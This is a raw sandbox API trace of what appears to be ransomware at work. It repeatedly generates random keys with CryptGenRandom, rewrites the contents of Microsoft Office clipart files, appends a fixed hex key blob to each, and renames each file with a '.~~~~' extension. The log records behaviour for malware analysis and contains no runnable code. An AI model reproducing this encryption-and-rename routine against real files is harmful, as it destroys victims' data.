	[0114.548] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23453848614) returned 1
	[0114.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xade0e870, dwHighDateTime=0x1d60e1e)) 
	[0114.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a0c8
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a0c8 | out: hHeap=0x300000) returned 1
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838268
	[0114.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.549] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.549] GetLastError () returned 0x0
	[0114.549] GetLastError () returned 0x0
	[0114.550] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.550] GetLastError () returned 0x0
	[0114.550] GetLastError () returned 0x0
	[0114.552] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd6da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.552] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x2926, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x2926, lpOverlapped=0x0) returned 1
	[0114.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.554] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.554] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.554] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.554] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.554] CloseHandle (hObject=0x11c) returned 1
	[0114.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.~~~~")) returned 1
	[0114.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.556] GetLastError () returned 0x0
	[0114.556] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.557] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.557] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.557] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23454748608) returned 1
	[0114.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xade0e870, dwHighDateTime=0x1d60e1e)) 
	[0114.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a100
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a100 | out: hHeap=0x300000) returned 1
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838300
	[0114.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.558] GetLastError () returned 0x0
	[0114.559] GetLastError () returned 0x0
	[0114.559] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.559] GetLastError () returned 0x0
	[0114.559] GetLastError () returned 0x0
	[0114.661] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd160, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.661] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x2ea0, lpOverlapped=0x0) returned 1
	[0114.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.663] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.663] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.663] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.663] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.664] CloseHandle (hObject=0x11c) returned 1
	[0114.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.664] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.~~~~")) returned 1
	[0114.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.665] GetLastError () returned 0x0
	[0114.666] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.667] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.667] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.667] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23465734660) returned 1
	[0114.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadf19210, dwHighDateTime=0x1d60e1e)) 
	[0114.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a330
	[0114.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a330 | out: hHeap=0x300000) returned 1
	[0114.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838398
	[0114.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.668] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.668] GetLastError () returned 0x0
	[0114.669] GetLastError () returned 0x0
	[0114.669] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.669] GetLastError () returned 0x0
	[0114.669] GetLastError () returned 0x0
	[0114.672] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff746a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.672] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x8b96, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x8b96, lpOverlapped=0x0) returned 1
	[0114.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.674] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.674] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.674] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.674] CloseHandle (hObject=0x11c) returned 1
	[0114.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.~~~~")) returned 1
	[0114.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.676] GetLastError () returned 0x0
	[0114.677] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.678] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.678] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.678] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23466817045) returned 1
	[0114.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadf3f370, dwHighDateTime=0x1d60e1e)) 
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a368
	[0114.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a368 | out: hHeap=0x300000) returned 1
	[0114.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838988
	[0114.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.679] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.679] GetLastError () returned 0x0
	[0114.679] GetLastError () returned 0x0
	[0114.679] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.679] GetLastError () returned 0x0
	[0114.680] GetLastError () returned 0x0
	[0114.682] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4420, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.682] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xbbe0, lpOverlapped=0x0) returned 1
	[0114.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.684] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.685] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.685] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.685] CloseHandle (hObject=0x11c) returned 1
	[0114.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.~~~~")) returned 1
	[0114.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.687] GetLastError () returned 0x0
	[0115.004] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.005] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.006] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23499568133) returned 1
	[0115.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae0bc130, dwHighDateTime=0x1d60e1e)) 
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a090
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a090 | out: hHeap=0x300000) returned 1
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0115.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838c80
	[0115.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.006] GetLastError () returned 0x0
	[0115.007] GetLastError () returned 0x0
	[0115.007] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.007] GetLastError () returned 0x0
	[0115.007] GetLastError () returned 0x0
	[0115.050] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff6cb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.050] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x934c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x934c, lpOverlapped=0x0) returned 1
	[0115.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.051] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.052] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.052] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.052] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.052] CloseHandle (hObject=0x140) returned 1
	[0115.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.~~~~")) returned 1
	[0115.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.053] GetLastError () returned 0x0
	[0115.053] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.054] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
